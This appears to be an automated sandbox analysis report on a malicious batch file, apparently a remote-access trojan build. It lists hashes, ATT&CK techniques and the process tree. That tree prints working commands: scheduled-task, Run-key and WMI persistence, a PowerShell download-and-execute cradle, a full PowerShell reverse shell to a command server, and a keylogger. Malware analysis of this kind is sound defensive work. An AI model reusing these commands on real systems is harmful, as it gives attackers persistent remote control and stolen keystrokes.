766fb20a36a3a7b438b262b22ce4e3d92f1dd848eca9a81babc00b02706021fb

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:38

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General

Target
rat_build_173279_014453.bat
Size 5KB
Sample260529-b2e6aag16x
SHA256 766fb20a36a3a7b438b262b22ce4e3d92f1dd848eca9a81babc00b02706021fb
MD5 e26e17217dcd181bc1619635500567cb
SHA1 f6c3ad9ecddd0b579889e76b13552876c8a0e854
SHA512 657eb59a2e41ea46422d4718e8a2773088dc1613baa2c443ec94048c1b26ae9c00308f4bb3a6b53566a216799991eef8a00dc68436e94f80d50f34418a7bf9ee
SSDEEP 96:eI+8WKJ7FrJBXYV9/IEFJnTJmO5O9dipKaUIe0o00gJP5a1MiFgZk8mvlo1qU9AX:e9KJVDUBnMo5pudTWiFgkHl1U9Auc
TLSH
T133B1F6136797622099B02624EB33384C435DF5F71304CACDB758CAE52A5EF03A16A7AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_173279.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1688	powershell.exe
3348	powershell.exe
4088	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_173279 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_173279.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2304	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4212	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3524	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4168	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1688	powershell.exe
1688	powershell.exe
3348	powershell.exe
3348	powershell.exe
4088	powershell.exe
4088	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2356	WMIC.exe
Token: SeSecurityPrivilege	2356	WMIC.exe
Token: SeTakeOwnershipPrivilege	2356	WMIC.exe
Token: SeLoadDriverPrivilege	2356	WMIC.exe
Token: SeSystemProfilePrivilege	2356	WMIC.exe
Token: SeSystemtimePrivilege	2356	WMIC.exe
Token: SeProfSingleProcessPrivilege	2356	WMIC.exe
Token: SeIncBasePriorityPrivilege	2356	WMIC.exe
Token: SeCreatePagefilePrivilege	2356	WMIC.exe
Token: SeBackupPrivilege	2356	WMIC.exe
Token: SeRestorePrivilege	2356	WMIC.exe
Token: SeShutdownPrivilege	2356	WMIC.exe
Token: SeDebugPrivilege	2356	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2356	WMIC.exe
Token: SeRemoteShutdownPrivilege	2356	WMIC.exe
Token: SeUndockPrivilege	2356	WMIC.exe
Token: SeManageVolumePrivilege	2356	WMIC.exe
Token: 33	2356	WMIC.exe
Token: 34	2356	WMIC.exe
Token: 35	2356	WMIC.exe
Token: 36	2356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2356	WMIC.exe
Token: SeSecurityPrivilege	2356	WMIC.exe
Token: SeTakeOwnershipPrivilege	2356	WMIC.exe
Token: SeLoadDriverPrivilege	2356	WMIC.exe
Token: SeSystemProfilePrivilege	2356	WMIC.exe
Token: SeSystemtimePrivilege	2356	WMIC.exe
Token: SeProfSingleProcessPrivilege	2356	WMIC.exe
Token: SeIncBasePriorityPrivilege	2356	WMIC.exe
Token: SeCreatePagefilePrivilege	2356	WMIC.exe
Token: SeBackupPrivilege	2356	WMIC.exe
Token: SeRestorePrivilege	2356	WMIC.exe
Token: SeShutdownPrivilege	2356	WMIC.exe
Token: SeDebugPrivilege	2356	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2356	WMIC.exe
Token: SeRemoteShutdownPrivilege	2356	WMIC.exe
Token: SeUndockPrivilege	2356	WMIC.exe
Token: SeManageVolumePrivilege	2356	WMIC.exe
Token: 33	2356	WMIC.exe
Token: 34	2356	WMIC.exe
Token: 35	2356	WMIC.exe
Token: 36	2356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3344	WMIC.exe
Token: SeSecurityPrivilege	3344	WMIC.exe
Token: SeTakeOwnershipPrivilege	3344	WMIC.exe
Token: SeLoadDriverPrivilege	3344	WMIC.exe
Token: SeSystemProfilePrivilege	3344	WMIC.exe
Token: SeSystemtimePrivilege	3344	WMIC.exe
Token: SeProfSingleProcessPrivilege	3344	WMIC.exe
Token: SeIncBasePriorityPrivilege	3344	WMIC.exe
Token: SeCreatePagefilePrivilege	3344	WMIC.exe
Token: SeBackupPrivilege	3344	WMIC.exe
Token: SeRestorePrivilege	3344	WMIC.exe
Token: SeShutdownPrivilege	3344	WMIC.exe
Token: SeDebugPrivilege	3344	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3344	WMIC.exe
Token: SeRemoteShutdownPrivilege	3344	WMIC.exe
Token: SeUndockPrivilege	3344	WMIC.exe
Token: SeManageVolumePrivilege	3344	WMIC.exe
Token: 33	3344	WMIC.exe
Token: 34	3344	WMIC.exe
Token: 35	3344	WMIC.exe
Token: 36	3344	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3344	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 4168	4972	cmd.exe	90
PID 4972 wrote to memory of 3524	4972	cmd.exe	91
PID 4972 wrote to memory of 2356	4972	cmd.exe	92
PID 4972 wrote to memory of 3344	4972	cmd.exe	93
PID 4972 wrote to memory of 412	4972	cmd.exe	94
PID 4972 wrote to memory of 4212	4972	cmd.exe	97
PID 4972 wrote to memory of 2304	4972	cmd.exe	102
PID 4972 wrote to memory of 1688	4972	cmd.exe	103
PID 4972 wrote to memory of 3348	4972	cmd.exe	104
PID 4972 wrote to memory of 4088	4972	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_173279_014453.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_173279" /tr "C:\Users\Admin\AppData\Local\Temp\_173279.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4168
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_173279" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_173279.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3524
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_173279", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_173279", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_173279.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3344
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_173279.txt
  2⤵
  PID:412
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4212
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_173279.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9d7cb86841f5c5c19be6e0471ea9eb6ec81df1f1e49fa16704562111fb04c633
MD5 8761308b04049dcc1c0586dac0e682b1
SHA1 22e03c92c1f77d187dcf1c4bf8b4f398cbb47903
SHA512 02faa171643a0f79625d4ed10af7a498797962f56eb8767ec50a5919ef380391e95fe1c0f1a2ead14c0a4934e9801474178cc6dcafa9e8b8a0f813e2bc4e4b50
TLSH
T193117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_jw0qrm24.vng.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jw0qrm24.vng.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1688-5-0x00000242AF250000-0x00000242AF272000-memory.dmp

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memory/1688-14-0x00000242AF5A0000-0x00000242AF6EE000-memory.dmp

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memory/1688-13-0x00000242AF280000-0x00000242AF49C000-memory.dmp

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memory/3348-25-0x000002467AF30000-0x000002467B07E000-memory.dmp

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memory/4088-35-0x000001AAA3180000-0x000001AAA32CE000-memory.dmp

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